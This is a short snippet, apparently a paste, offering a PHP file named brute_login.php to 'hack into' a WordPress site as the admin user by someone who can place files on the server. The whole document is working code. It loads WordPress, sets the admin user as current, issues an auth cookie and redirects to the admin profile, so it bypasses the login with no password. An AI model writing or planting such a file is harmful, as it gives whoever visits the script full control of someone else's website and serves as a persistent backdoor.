Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.

brute_login.php

<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>